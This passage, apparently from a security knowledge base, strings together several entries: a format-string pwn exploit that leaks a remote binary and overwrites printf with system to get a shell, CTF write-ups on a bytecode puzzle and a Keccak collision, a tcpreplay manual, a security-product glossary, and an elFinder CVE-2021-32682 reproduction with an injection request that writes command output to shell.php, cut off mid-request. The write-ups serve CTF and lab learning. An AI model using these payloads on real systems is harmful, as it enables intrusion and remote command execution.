"127.0.0.1" port = 9999 def leak(addr): # leak addr for three times num = 0 while num < 3: try: print 'leak addr: ' + hex(addr) sh = remote(ip, port) payload = '%00008$s' + 'STARTEND' + p64(addr) # 说明有\n,出现新的一行 if '\x0a' in payload: return None sh.sendline(payload) data = sh.recvuntil('STARTEND', drop=True) sh.close() return data except Exception: num += 1 continue return None def getbinary(): addr = 0x400000 f = open('binary', 'w') while addr < 0x401000: data = leak(addr) if data is None: f.write('\xff') addr += 1 elif len(data) == 0: f.write('\x00') addr += 1 else: f.write(data) addr += len(data) f.close() getbinary() ``` 需要注意的是,在 payload 中需要判断是否有 '\n' 出现,因为这样会导致源程序只读取前面的内容,而没有办法泄露内存,所以需要跳过这样的地址。 #### 分析binary 利用 IDA 打开泄露的 binary ,改变程序基地址,然后简单看看,可以基本确定源程序 main 函数的地址 ```asm seg000:00000000004005F6 push rbp seg000:00000000004005F7 mov rbp, rsp seg000:00000000004005FA add rsp, 0FFFFFFFFFFFFFF80h seg000:00000000004005FE seg000:00000000004005FE loc_4005FE: ; CODE XREF: seg000:0000000000400639j seg000:00000000004005FE lea rax, [rbp-80h] seg000:0000000000400602 mov edx, 80h ; '€' seg000:0000000000400607 mov rsi, rax seg000:000000000040060A mov edi, 0 seg000:000000000040060F mov eax, 0 seg000:0000000000400614 call sub_4004C0 seg000:0000000000400619 lea rax, [rbp-80h] seg000:000000000040061D mov rdi, rax seg000:0000000000400620 mov eax, 0 seg000:0000000000400625 call sub_4004B0 seg000:000000000040062A mov rax, cs:601048h seg000:0000000000400631 mov rdi, rax seg000:0000000000400634 call near ptr unk_4004E0 seg000:0000000000400639 jmp short loc_4005FE ``` 可以基本确定的是 sub\_4004C0 为 read 函数,因为读入函数一共有三个参数的话,基本就是 read 了。此外,下面调用的 sub\_4004B0 应该就是输出函数了,再之后应该又调用了一个函数,此后又重新跳到读入函数处,那程序应该是一个 while 1 的循环,一直在执行。 #### 利用思路 分析完上面的之后,我们可以确定如下基本思路 - 泄露 printf 函数的地址, - 获取对应 libc 以及 system 函数地址 - 修改 printf 地址为 system 函数地址 - 读入 /bin/sh; 以便于获取 shell #### 利用程序 程序如下。 ```python ##coding=utf8 import math from pwn import * from LibcSearcher import LibcSearcher ##context.log_level = 'debug' context.arch = 'amd64' ip = "127.0.0.1" port = 9999 def leak(addr): # leak addr for three times num = 0 while num < 3: try: print 'leak addr: ' + hex(addr) sh = remote(ip, port) payload = '%00008$s' + 'STARTEND' + p64(addr) # 说明有\n,出现新的一行 if '\x0a' in payload: return None sh.sendline(payload) data = sh.recvuntil('STARTEND', drop=True) sh.close() return data except Exception: num += 1 continue return None def getbinary(): addr = 0x400000 f = open('binary', 'w') while addr < 0x401000: data = leak(addr) if data is None: f.write('\xff') addr += 1 elif len(data) == 0: f.write('\x00') addr += 1 else: f.write(data) addr += len(data) f.close() ##getbinary() read_got = 0x601020 printf_got = 0x601018 sh = remote(ip, port) ## let the read get resolved sh.sendline('a') sh.recv() ## get printf addr payload = '%00008$s' + 'STARTEND' + p64(read_got) sh.sendline(payload) data = sh.recvuntil('STARTEND', drop=True).ljust(8, '\x00') sh.recv() read_addr = u64(data) ## get system addr libc = LibcSearcher('read', read_addr) libc_base = read_addr - libc.dump('read') system_addr = libc_base + libc.dump('system') log.success('system addr: ' + hex(system_addr)) log.success('read addr: ' + hex(read_addr)) ## modify printf_got payload = fmtstr_payload(6, {printf_got: system_addr}, 0, write_size='short') ## get all the addr addr = payload[:32] payload = '%32d' + payload[32:] offset = (int)(math.ceil(len(payload) / 8.0) + 1) for i in range(6, 10): old = '%{}$'.format(i) new = '%{}$'.format(offset + i) payload = payload.replace(old, new) remainer = len(payload) % 8 payload += (8 - remainer) * 'a' payload += addr sh.sendline(payload) sh.recv() ## get shell sh.sendline('/bin/sh;') sh.interactive() ``` 这里需要注意的是这一段代码 ```python ## modify printf_got payload = fmtstr_payload(6, {printf_got: system_addr}, 0, write_size='short') ## get all the addr addr = payload[:32] payload = '%32d' + payload[32:] offset = (int)(math.ceil(len(payload) / 8.0) + 1) for i in range(6, 10): old = '%{}$'.format(i) new = '%{}$'.format(offset + i) payload = payload.replace(old, new) remainer = len(payload) % 8 payload += (8 - remainer) * 'a' payload += addr sh.sendline(payload) sh.recv() ``` fmtstr\_payload 直接得到的 payload 会将地址放在前面,而这个会导致 printf 的时候 '\x00' 截断(**关于这一问题,pwntools目前正在开发 fmt\_payload 的加强版,估计快开发出来了。**)。所以我使用了一些技巧将它放在后面了。主要的思想是,将地址放在后面 8 字节对齐的地方,并对 payload 中的偏移进行修改。需要注意的是 ```python offset = (int)(math.ceil(len(payload) / 8.0) + 1) ``` 这一行给出了修改后的地址在格式化字符串中的偏移,之所以是这样在于无论如何修改,由于 '%order$hn' 中 order 多出来的字符都不会大于 8。具体的可以自行推导。 ### 题目 - SuCTF2018 - lock2 (主办方提供了 docker 镜像: suctf/2018-pwn-lock2)
sec-knowleage
# Endgame Category: Reversing, 300 Points ## Description > This guy Thanos snapped his fingers and now the flag is scattered across the universe. > > Can you be the hero that saves the world? ## Solution All we get is the following binary: ```console ┌──(user@kali)-[/media/sf_CTFs/checkpoint/Endgame] └─$ xxd -g 1 flag 00000000: 1a 05 1b 03 ab ab ef 08 ff 80 1c b3 1d 91 ba cd ................ 00000010: ef 22 ff 80 1e 05 1f 05 cd ef ef 19 ff 80 1b 30 .".............0 00000020: 1d 08 dc bd ef 06 ff 80 1a 01 1b 02 cd ab 1b 05 ................ 00000030: cd ab 1c 1e cd ac 1e b2 1f 05 cd ef cd ae 1b e7 ................ 00000040: 1c c6 ab bc 1d c1 1e 62 ab de 1f ad ab df ab bd .......b........ 00000050: ab ab 1b 04 cd ab 1b fa 1c fa ab bc cd ab 1b f1 ................ 00000060: 1c c8 ab bc ab ab 1d 7d cd ad 1b fa 1c 04 cd bc .......}........ 00000070: 1f 68 ba bf cd ab 1c fd ab ac 1c 64 cd ac 1b 0a .h.........d.... 00000080: 1c 40 cd bc cd ab 1b f3 1c 3a 1d dc ab cd ab bc .@.......:...... 00000090: ab ab 1f 04 cd af 1b 05 1c 64 cd bc cd ab 1b 03 .........d...... 000000a0: 1c 64 cd cb cd bc 1d 32 ba bd cd ab 1f 03 cd cf .d.....2........ 000000b0: 1b 44 ab cb cd ac 1b 06 1c 0a cd bc cd bc cd bc .D.............. 000000c0: cd bc 1d 7b ab bd ab ab 1b c8 cd ab cd bc 1f 02 ...{............ 000000d0: dc bf 1c 73 ba bc cd ab 1c 3e ab bc ab ab cd ff ...s.....>...... 000000e0: cd af 1c 35 ab bc 1d 02 dc bd cd ab 1b f9 ab ab ...5............ 000000f0: 1c 0a cd ac dc cd ab ac cd af 1b 01 ab ab 00 00 ................ ``` What are we supposed to do with that? Well, we tried a few things, such as looking for patterns or interpreting as assembly (this is a reversing challenge after all), but nothing seemed to work. Then we got a hint from *liadadash* (thanks!) that allowed us to proceed. Let's take a look at the binary when setting the line width to 10: ```console ┌──(user@kali)-[/media/sf_CTFs/checkpoint/Endgame] └─$ xxd -g 1 -c 10 flag 00000000: 1a 05 1b 03 ab ab ef 08 ff 80 .......... 0000000a: 1c b3 1d 91 ba cd ef 22 ff 80 .......".. 00000014: 1e 05 1f 05 cd ef ef 19 ff 80 .......... 0000001e: 1b 30 1d 08 dc bd ef 06 ff 80 .0........ 00000028: 1a 01 1b 02 cd ab 1b 05 cd ab .......... 00000032: 1c 1e cd ac 1e b2 1f 05 cd ef .......... 0000003c: cd ae 1b e7 1c c6 ab bc 1d c1 .......... 00000046: 1e 62 ab de 1f ad ab df ab bd .b........ 00000050: ab ab 1b 04 cd ab 1b fa 1c fa .......... 0000005a: ab bc cd ab 1b f1 1c c8 ab bc .......... 00000064: ab ab 1d 7d cd ad 1b fa 1c 04 ...}...... 0000006e: cd bc 1f 68 ba bf cd ab 1c fd ...h...... 00000078: ab ac 1c 64 cd ac 1b 0a 1c 40 ...d.....@ 00000082: cd bc cd ab 1b f3 1c 3a 1d dc .......:.. 0000008c: ab cd ab bc ab ab 1f 04 cd af .......... 00000096: 1b 05 1c 64 cd bc cd ab 1b 03 ...d...... 000000a0: 1c 64 cd cb cd bc 1d 32 ba bd .d.....2.. 000000aa: cd ab 1f 03 cd cf 1b 44 ab cb .......D.. 000000b4: cd ac 1b 06 1c 0a cd bc cd bc .......... 000000be: cd bc cd bc 1d 7b ab bd ab ab .....{.... 000000c8: 1b c8 cd ab cd bc 1f 02 dc bf .......... 000000d2: 1c 73 ba bc cd ab 1c 3e ab bc .s.....>.. 000000dc: ab ab cd ff cd af 1c 35 ab bc .......5.. 000000e6: 1d 02 dc bd cd ab 1b f9 ab ab .......... 000000f0: 1c 0a cd ac dc cd ab ac cd af .......... 000000fa: 1b 01 ab ab 00 00 ...... ``` Notice how the first four lines form a nice pattern (which later is lost, but never mind that right now). ``` 1a 05 1b 03 ab ab ef 08 ff 80 1c b3 1d 91 ba cd ef 22 ff 80 1e 05 1f 05 cd ef ef 19 ff 80 1b 30 1d 08 dc bd ef 06 ff 80 ``` If we study the relationship between the second, forth and eighth bytes, we can see that they are related in the following way: ``` 0x05 + 0x03 = 0x08 0xb3 - 0x91 = 0x22 0x05 * 0x05 = 0x19 0x30 / 0x08 = 0x06 ``` What do the other bytes mean? It's hard to say for sure, but if we must guess then the seventh byte (which is always `0xef`) is probably translated to "equals". The last two bytes (`0xff 0x80`) might mean something like "end of expression" or "end of example" (we don't see them after the forth line). That leaves the first, third, fifth and sixth bytes. If you stare at it enough, the first part might look a bit like variable assignment: `A = 5, B = 3` etc. Now, we can assume that the mathematical operation needs to be encoded somewhere inside, and we have two candidates left: The fifth and the sixth byte. This also requires some leap of faith, but since the nibbles in the sixth byte always match the variable names, we'll assume that they are related to the order of operands and that the fifth byte encodes the operator. Now, we proceed to the body, which when formatted according to the rules above, gives us the following pairs, where each pair of bytes encodes a command: ```console ┌──(user@kali)-[/media/sf_CTFs/checkpoint/Endgame] └─$ hexdump -e '2/1 "%02x " "\n"' -s $((10*4)) -v flag 1a 01 1b 02 cd ab 1b 05 cd ab 1c 1e cd ac 1e b2 1f 05 cd ef cd ae 1b e7 1c c6 ab bc 1d c1 1e 62 ab de 1f ad ab df ab bd ab ab 1b 04 cd ab 1b fa 1c fa ab bc cd ab 1b f1 1c c8 ab bc ab ab 1d 7d cd ad 1b fa 1c 04 cd bc 1f 68 ba bf cd ab 1c fd ab ac 1c 64 cd ac 1b 0a 1c 40 cd bc cd ab 1b f3 1c 3a 1d dc ab cd ab bc ab ab 1f 04 cd af 1b 05 1c 64 cd bc cd ab 1b 03 1c 64 cd cb cd bc 1d 32 ba bd cd ab 1f 03 cd cf 1b 44 ab cb cd ac 1b 06 1c 0a cd bc cd bc cd bc cd bc 1d 7b ab bd ab ab 1b c8 cd ab cd bc 1f 02 dc bf 1c 73 ba bc cd ab 1c 3e ab bc ab ab cd ff cd af 1c 35 ab bc 1d 02 dc bd cd ab 1b f9 ab ab 1c 0a cd ac dc cd ab ac cd af 1b 01 ab ab 00 00 ``` As we can see, the first three commands are: ``` 1a 01 1b 02 cd ab ``` According to our assumptions, it's clear that `1a 01` means `A = 1` and `1b 02` means `B = 2`, but we said that `cd ab` means "`A * B`". Where does the result go to? Stacking up another assumption, we'll hope that it means `A *= B`, so the result is saved in the first variable. Now, we can go ahead and implement a simple interpreter: ```python from collections import namedtuple from pprint import pprint Operation = namedtuple("Operation", "representation function") variables = { } OPS = { 0xAB: Operation("+", lambda x, y: x + y), 0xBA: Operation("-", lambda x, y: x - y), 0xCD: Operation("*", lambda x, y: x * y), 0xDC: Operation("//", lambda x, y: x // y) } with open("flag", "rb") as f: f.seek(10 * 4) while True: b = f.read(1)[0] if b == 0x0: print("END") break elif b >> 4 == 1: var_name = b & 0xF var_value = f.read(1)[0] print(f"SET {var_name:X} = {var_value}") variables[var_name] = var_value elif b in OPS: op = OPS[b] vars = f.read(1)[0] first_var = vars >> 4 second_var = vars & 0xF print(f"{first_var:X} = {first_var:X} {op.representation} {second_var:X}") variables[first_var] = op.function(variables[first_var], variables[second_var]) else: raise Exception(f"Unknown command '0x{b:02X}'") print("\nVariables:") pprint(variables) ``` Running it, we get: ```console ┌──(user@kali)-[/media/sf_CTFs/checkpoint/Endgame] └─$ python3 solve.py SET A = 1 SET B = 2 A = A * B SET B = 5 A = A * B SET C = 30 A = A * C SET E = 178 SET F = 5 E = E * F A = A * E SET B = 231 SET C = 198 B = B + C SET D = 193 SET E = 98 D = D + E SET F = 173 D = D + F B = B + D A = A + B SET B = 4 A = A * B SET B = 250 SET C = 250 B = B + C A = A * B SET B = 241 SET C = 200 B = B + C A = A + B SET D = 125 A = A * D SET B = 250 SET C = 4 B = B * C SET F = 104 B = B - F A = A * B SET C = 253 A = A + C SET C = 100 A = A * C SET B = 10 SET C = 64 B = B * C A = A * B SET B = 243 SET C = 58 SET D = 220 C = C + D B = B + C A = A + B SET F = 4 A = A * F SET B = 5 SET C = 100 B = B * C A = A * B SET B = 3 SET C = 100 C = C * B B = B * C SET D = 50 B = B - D A = A * B SET F = 3 C = C * F SET B = 68 C = C + B A = A * C SET B = 6 SET C = 10 B = B * C B = B * C B = B * C B = B * C SET D = 123 B = B + D A = A + B SET B = 200 A = A * B B = B * C SET F = 2 B = B // F SET C = 115 B = B - C A = A * B SET C = 62 B = B + C A = A + B F = F * F A = A * F SET C = 53 B = B + C SET D = 2 B = B // D A = A * B SET B = 249 A = A + B SET C = 10 A = A * C C = C // D A = A + C A = A * F SET B = 1 A = A + B END Variables: {10: 89490564489314326449816467341755769981, 11: 1, 12: 5, 13: 2, 14: 98, 15: 4} ``` Variable `A` looks like something we should decode: ```python print(bytearray.fromhex(f"{variables[0xA]:02X}").decode()) ``` As output, we get the flag: `CSA{cs@5s3mbl3d}` ### Acknowledgments Thanks to *liadadash* for his help with this challenge!
sec-knowleage
tcpreplay === 将PCAP包重新发送,用于性能或者功能测试 ## 补充说明 简单的说, **tcpreplay** 是一种pcap包的重放工具,它可以将用ethreal、wireshark工具抓下来的包原样或经过任意修改后重放回去。它允许你对报文做任意的修改(主要是指对2层、3层、4层报文头),指定重放报文的速度等,这样tcpreplay就可以用来复现抓包的情景以定位bug,以极快的速度重放从而实现压力测试。 ### 选项 ```shell -A "<args>" 在使用 tcpdump 风格打印输出信息时,同时再调用tcpdump中的参数, 默认已经带有“-n,-l”,所以一般看到的都是ip地址,而没有主机名的打印,注意这个是在tcpreplay使用了-v参数时才能使用,不带-v不会报错,但是没有实际意义。格式:-vA “nnt”表示以tcpdump风格输出报文信息,并且不打印时间戳、主机名、端口服务名称。注意不要使用-c参数来指定打印的数据报文的个数,这样发送出去的报文也会变少。 -c <cachefile> 双网卡回放报文必选参数,后面紧跟cache文件名,该文件为tcpprep根据对应的pcap文件构造出来。 -D 把应用层的数据,使用dump mode写入到指定文件中去,和-w、-W 参数一起使用。 -e <ip1:ip2> 指定端点的ip,即把发送报文的和接收的报文的ip都修改称对应的参数值中指定的ip,但是这样发送的出的报文不会区分client和server。。 -f <configfile> 指定配置文件。 -F 在发送报文时,自动纠正错误的校验和。对测试DUT的校验和检验。 -h 显示帮助文件。 -i <nic> 双网卡回放报文必选参数,指定主接口。 -I <mac> 重写主网卡发送出报文的目的MAC地址。 -j <nic> 双网卡回放报文必选参数,指定从接口。 -J <mac> 重写从网卡发送出报文的目的MAC地址。 -k <mac> 重写主网卡发送报文的源MAC地址。 -K <mac> 重写从网卡发送报文的源MAC地址。 -l <loop> 指定循环的次数。 -L <limit> 指定最大的发包数量。可以在确认连接的调试时使用。 -m <multiple> 指定一个倍数值,就是必默认发送速率要快多少倍的速率发送报文。 加大发送的速率后,对于DUT可能意味着有更多的并发连接和连接数,特别是对于BT报文的重放, 因为连接的超时是固定的,如果速率增大的话, 留在session表中的连接数量增大,还可以通过修改连接的超时时间来达到该目的。 -M 表示不发送“火星”的ip报文,man文件中的定义是 0/8、172/8、 255/8。 -n 在使用-S参数,不对混杂模式进行侦听。 -N <CIDR1:CIDR2,...> 通过伪造的NAT,重写IP地址。这个参数应该有很重要的应用,目前没有测试使用。 -O 没有测试使用。 -p <packetrate> 指定每秒发送报文的个数,指定该参数,其它速率相关的参数被忽略,最后的打印信息不会有速率和每秒发送报文的统计。 -P 表示在输出信息中打印PID的信息,用于单用户或单帐户模式下暂停和重启程序。 -r <rate> 指定发送的速率。目前-m/-r/-p这3个参数的相互关系。 -R 让网卡极限速度发数据包。 -t <mtu> 指定MTU,标准的10/100M网卡的默认值是1500。 -T Truncate packets > 截去报文中MTU大于标准值的部分再发送出去,默认是不发送,skip掉。 -v 每发送一个报文都以 tcpdump 的风格打印出对应的信息。 -V 查看版本号。 -w <file> 将主网卡发送的报文写入一个文件中,参数后紧跟文件名。 ``` ### 实例 **1、重放在客户端 ftp 连接的报文 ** a、在客户端使用 ethereal 抓包,存为 ftp.pcap 文件。 b、 将 ftp.pcap 文件进行 tcpprep 操作,制作 cache 文件。 ```shell [root@A ~]# tcpprep -an client -i ftp.pcap -o ftp.cache –v ``` c、 将 DUT 设备的两个接口和 PC 的两个接口使用网线连接,使用 tcpreplay 重 放报文。注意防火墙的配置为网桥(透明)模式。  ```shell [root@A ~]# tcpreplay -c ftp.cache -i eth0 -j eth1 ftp.pcap -R –v ``` -R 参数表示全速发送,-v 显示打印信息。  **2、重放在客户端 BT 连接的报文 ** a、在实验室 BT 下载一些台湾的娱乐节目和热门的大片,使用 ethereal 抓包, 存为 bt.pcap 文件。注意 pcap 文件大小的控制,对 pc 的内存要求比较高,我保 存了一个 600 多 M 的 pcap 文件用了 40 多分钟,大家有需要可以直接从实验室 copy。  b、将 bt.pcap 文件进行 tcpprep 操作,制作 cache 文件。 ```shell [root@A ~]# tcpprep -an client -i bt.pcap -o bt.cache -C "100M BT Packet" –v ``` 制作 cache 文件,在 cache 文件中写入“100M BT Packet”的注释。  c、使用 tcpreplay 重放报文。  ```shell [root@A ~]# tcpreplay -c bt.cache -i eth0 -j eth1 bt.pcap -v –R ``` **3、重放 tftp 服务器上抓到的报文 ** a、在 tftp 服务器上使用 ethereal 抓包,存为 tftp.pcap 文件。  b、将 pcap 文件进行 tcpprep 的操作,制作 cache 文件。  ```shell [root@A ~]# tcpprep -an server -i tftp.pcap -o tftp.cache –v ``` 注意:我在测试的时候犯了一个错误,使用 DUT 的 tftp 升级来做实验,同时穿 过 DUT 重放报文,结果在网卡发送报文的后,DUT 的 mac 地址做了的回应,导致 交互过程没有穿过 DUT,这个问题比较搞笑,上午弄了半天才发现原因,开始还 以为 udp 的连接不能重放。  c、使用 tcpreplay 重放报文。  ```shell [root@A ~]# tcpreplay -c tftp.cache -i eth0 -j eth1 tftp.pcap –v ```
sec-knowleage
# Baby Sponge (crypto, 297p, 27 solved) In the challenge we get [challenge code](task.py)and the [library](CompactFIPS202.py) that is used. It's pretty clear what is the goal: ```python def dohash(self, msg): return CompactFIPS202.Keccak(1552, 48, bytearray(msg), 0x06, 32) (...) self.dosend("first message(hex): ") msg0 = self.recvhex(8000) self.dosend("second message(hex): ") msg1 = self.recvhex(8000) if msg0!=msg1 and self.dohash(msg0) == self.dohash(msg1): self.dosend("%s\n" % FLAG) else: self.dosend(">.<\n") ``` We're supposed to send 2 payloads, which will be different, and yet produce the same hash value. The hashing algorithm is Keccak, and the library they use is legit. However, if we inspect the default parameter values the library uses we can see: ```python def SHAKE128(inputBytes, outputByteLen): return Keccak(1344, 256, inputBytes, 0x1F, outputByteLen) def SHAKE256(inputBytes, outputByteLen): return Keccak(1088, 512, inputBytes, 0x1F, outputByteLen) def SHA3_224(inputBytes): return Keccak(1152, 448, inputBytes, 0x06, 224//8) def SHA3_256(inputBytes): return Keccak(1088, 512, inputBytes, 0x06, 256//8) def SHA3_384(inputBytes): return Keccak(832, 768, inputBytes, 0x06, 384//8) def SHA3_512(inputBytes): return Keccak(576, 1024, inputBytes, 0x06, 512//8) ``` You might notice that the second parameter is drastically smaller in our case. This is the key observation here! The parameter with the tiny value is called `capacity`. It's not actually used in the code directly at all apart from a check that `rate+capacity == 1600`. Capacity is the part of the hash state which can't be directly modified by our inputs. Relevant part of Keccak algorithm can be simplified to: ```python state = 0 for data_chunk in chunk(input_data, rate_size): state ^= data_chunk state = F(state) # generate output, we don't care ``` We don't really care about the rest, and we can assume `F` here is some random permutation of the state. The `state` here can be viewed ad split into 2 parts `r|c`, the `r` part is XORed with our data chunk, but the `c` part is modified only when `F` function shuffles the state. In order to get a collision, we want the whole state to be identical at some point. We can influence part of the state by our input, since they're getting XORed, but we can't directly change the `capacity` part. The idea is to find a random collision on `c`, and then modify `r` by sending prepared data chunk, to get identical state. Let's assume for a moment `c` size is just 8 bits. Let's hash a random data block, and extract `c` value before the shuffle and output generation permutations. Now we hash random blocks until we find one for which `c` value is the same. For 8 bits there are only 256 possible values of `c`, so it should be easy to find a block like this fast. Now that we have two such inputs, we want to add a second data chunk to each one of them, to force identical rest of the state. This is trivial, since the algorithm XORs the state with input data chunk. For example if we extend the first input with only 0 bytes, then after the XOR the `r` part of the state will not change. We can extend the second input with XOR of the internal state from hashing both of the inputs. XOR with internal state this input had before, would zero the state, and XOR with state of the other input, would set the internal state value to be identical. We can verify this with a simple sanity check (rate set to 8): ```python def sanity(): msg = urandom(rate / 8) _, c, state1 = hash(msg) while True: msg2 = urandom(rate / 8) _, c2, state2 = hash(msg2) if c == c2: break zero = '\0' * (rate / 8) res1, _, _ = hash(msg + zero) fixer = xor_hex(state1, state2).decode("hex")[:-(capacity / 8)] res2, _, _ = hash(msg2 + fixer) print('res1', res1) print('res2', res2) assert res1 == res2 assert msg != msg2 ``` We're using here a modified version of the orignal hashing function, which leaks the `capacity` and `internal state`: ```python def Keccak(rate, capacity, inputBytes, delimitedSuffix, outputByteLen): outputBytes = bytearray() state = bytearray([0 for i in range(200)]) rateInBytes = rate // 8 blockSize = 0 if (((rate + capacity) != 1600) or ((rate % 8) != 0)): return inputOffset = 0 # === Absorb all the input blocks === while (inputOffset < len(inputBytes)): blockSize = min(len(inputBytes) - inputOffset, rateInBytes) for i in range(blockSize): state[i] = state[i] ^ inputBytes[i + inputOffset] inputOffset = inputOffset + blockSize if (blockSize == rateInBytes): state = KeccakF1600(state) blockSize = 0 # we leak those values at the end state_hex = str(state).encode("hex") c = state[-capacity / 8:] (...) ``` So the solver is quite simple, the same as in the sanity check: ```python def collide(): msg, msg2 = collision_search() zero = '\0' * (rate / 8) _, _, state1 = hash(msg) res1, _, _ = hash(msg + zero) _, _, state2 = hash(msg2) fixer = xor_hex(state1, state2).decode("hex")[:-(capacity / 8)] res2, _, _ = hash(msg2 + fixer) print(msg, msg2) assert msg != msg2 assert res1 == res2 return msg + zero, msg2 + fixer ``` The tricky part is now the `collision_search` function. For the sanity check we assumed the capacity to have only 8 bits, but in reality it's 48. Fortunately we don't really need a collision with any selected input, it can be random collision between two random inputs. This means we can use birthday paradox -> generate lots of inputs and `c` for them, and check if any of them collide. This means we should be able to get a collision in about `2**24` which is doable. We made a simple paralell solver for this: ```python def worker(msgs): return [(msg, hash(msg)[1]) for msg in msgs] def collision_search(): bytes_no = rate / 8 space = {} stage = 1000 start = 0 processes = 7 print("generate space") while True: print(str(100 * start / (2.0 ** (capacity / 2 + 1))) + "%") start += stage results = brute(worker, [[urandom(bytes_no) for _ in range(stage)] for _ in range(processes)], processes=processes) results = reduce(lambda x, y: x + y, results) for (msg, c) in results: c = str(c) if c in space: print(len(space)) return space[c], msg else: space[c] = msg ``` Each worker function gets `stage` number of inputs to calcualte hashes for, then results are combined and we check for the collisions, extending the set of known `c` values on the way. It takes a long while to get solution for capacity of 48 bits, but eventually we got two messages: ``` msg1 = '2ac79b239ee01b3da93a9ed8edf4d035240d03360ab7f2a90fd7797135bde103b35e08e0a60b49694d8d02acc896261f589e3320e2d7ec55d3661d3dc57716f6047b26b47d2c22fe5a8d17de4c7e9dd98d2b45f3add9503b1797d225df55116a9d4f4105442145af5d2eed582b3b2812d70eea058faeab04245b762c6993f705685e3c5e2d6488f92068b5c23b9df115938fe512cf4b24ffb80b73a45b492d1360e9de6263d8d8effd3cb2c04b5f80eb2cb8dcab0f6bba8319ba327dfc447937fd870000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000' msg2 = '4cf30b4f6c5bea3644e4f7093365fc9808dec255b7930c76d4609b41edac3b3c27ab9330684f5cd6c2ab110f982ba8bf218a8a186a90bb9dbaa0f8592c64d9b4979d76b06f66660bb25fc7ec35ed57d02b53350a976fef12b902e867a4d0ac3b5f22e1571b278e5fd2c38fcce79a6e55d5ab8cc1b1e25ea245e395db388e7e0837215f253448c514049780a448c62793c01740123d5a4d6725787130c89b6b53e6fb92398f082d94301f9d6be304cada2cec6537a1db810e2d47d433e85691b209aabf987d2680385b78405abbc0b0fc8315b39d991b13c6b0f13697e1010b1e1da9b482fe966760b4322aa1f5912cfe4e86eb8addc626182d9b2cdb6f4e512e0ab8cff95b51008b5c0003fc64c38c25ab0a3b9e2ba6d959fb781d26472303cdd3404aa0b8552e5c5698837430ca5fd6600a65268e35c002e876f85ecd25a425997dbb8e35f325019cc5777d3ed65f96ce91a2d9b5f6b0e42a9946465c71104c18e067693469b347c48ad429034f7e7d2d87fd97a4fa0bc631b3440b38bdaa1edd0f694c' ``` They're different, but their hashes match. Once we send this to the server we get back: `flag{I_wAs_th3_sh4d0w_Of_the_waXwing_sLAin__By_the_fAlse_@4zure9_in_the_window_pan3}` Complete solver [here](solver.py)
sec-knowleage
# 安全系统整理 本篇整理一些安全相关的软硬件系统。 ## IDS IDS(Intrusion detection system),入侵检测设备 ### 应用场景 工作在网络层,旁路部署,通过抓取和分析网络流量来发现攻击[1] ## IPS IPS(Intrusion Prevention System),入侵预防系统; ### 应用场景 一般在网络层旁路,可以理解为**具备阻断能力的IDS**,是IDS的升级版(也有IDS检测到攻击通知阻断设备执行阻断动作的设备联动模式),可以覆盖网络层和应用层[1] 常见的场景是封禁网站(如非法网站的封禁)、篡改网页内容(运营商插广告)、阻断端口扫描和漏洞攻击(IPS),实施链路劫持的人必须控制某段网络。[1] ### 原理概述 在网络层旁路部署,例如使用端口镜像。使用链路劫持的方式,抓取网络上的流量进行分析,发现符合**规则**的流量则**冒充**服务端回报响应客户端实现欺骗的效果,从而进行阻断和替换。 ## WAF WAF(Web Application Firewall),网站应用防火墙、网站应用级入侵防御系统; ### 应用场景 WAF是在应用层防护Web攻击的程序,一般是跟Web接入层对接,可旁路可串行,仅能覆盖应用层[1] ## EDR Endpoint Detection and Response, 端点检测与响应,通过在主机端上部署agent,然后由agent采集数据,对大量数据进行分类、进行处理,然后对事件进行分析、分析、响应。 ## NAT Network Traffic Analysis,常指网络流量分析产品,它将网络通信流量作为基础数据源,输出威胁事件,与IDS的不同是其模型检测为核心,IDS以特征检测为核心[1] ## 堡垒机/跳板机(Jump Server) 跳板机,国内也称堡垒机,也叫做运维安全审计系统,“核心功能是4A”[2]: - 身份验证 Authentication - 账号管理 Account - 授权控制 Authorization - 安全审计 Audit "简单总结一句话:堡垒机是用来控制哪些人可以登录哪些资产(事先防范和事中控制),以及录像记录登录资产后做了什么事情(事后溯源)。"[2] 比较出名的是开源堡垒机软件:[jumpserver](https://github.com/jumpserver/jumpserver) ## SOAR SOAR(Security Orchestration, Automation, and Response),是指一组软件解决方案和工具,最初是由Gartner定义,旨在在三个关键领域进行安全运营工作的简化:威胁和漏洞管理、事件响应(Response)和安全运营自动化(Automation)。SOAR允许公司从各个来源收集与威胁相关的数据,并进行自动响应。 ## References [1] 网络层绕过IDS/IPS的一些探索, lake2(腾讯安全应急响应中心),https://mp.weixin.qq.com/s/QJeW7K-KThYHggWtJ-Fh3w \[2] 堡垒机是干什么的?(知乎提问的回答),maninhill,https://www.zhihu.com/question/21036511/answer/918763192
sec-knowleage
# elFinder ZIP 参数与任意命令注入(CVE-2021-32682) elFinder是一个基于PHP、Jquery的开源文件管理系统。 在elFinder 2.1.48及以前的版本中,存在一处参数注入漏洞。攻击者可以利用这个漏洞在目标服务器上执行任意命令,即使是最小化安装的elFinder。 这个漏洞的原因除了参数注入外,还有默认情况下的未授权访问,因此我们可以对elFinder增加权限校验,避免任意用户操作服务器上的文件,进而避免被执行任意命令。当然,升级版本到2.1.49及以上也是必要的。 参考链接: - <https://blog.sonarsource.com/elfinder-case-study-of-web-file-manager-vulnerabilities> - <https://packetstormsecurity.com/files/164173/elfinder_archive_cmd_injection.rb.txt> - <https://xz.aliyun.com/t/10739> ## 漏洞环境 执行如下命令启动一个elFinder 2.1.48版本服务器: ``` docker compose up -d ``` 服务启动后,访问`http://your-ip:8080`即可查看到elFinder的文件管理页面。 ## 漏洞复现 复现这个漏洞首先需要用elFinder提供的功能,创建两个文件。 先创建一个普通的文本文件`1.txt`: ![](1.png) 然后右键这个文件,对其进行打包,打包后的文件命名为`2.zip`: ![](2.png) 最后我们获得`1.txt`和`2.zip`两个文件: ![](3.png) 然后,发送如下数据包来执行任意命令: ``` GET /php/connector.minimal.php?cmd=archive&name=-TvTT=id>shell.php%20%23%20a.zip&target=l1_Lw&targets%5B1%5D=l1_Mi56aXA&targets%5B0%5D=l1_MS50eHQ&type=application%2Fzip HTTP/1.1 Host: your-ip Accept: application/json, text/javascript, */*; q=0.01 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 X-Requested-With: XMLHttpRequest Referer: http://localhost.lan:8080/ Accept-Encoding: gzip, deflate Accept-Language: 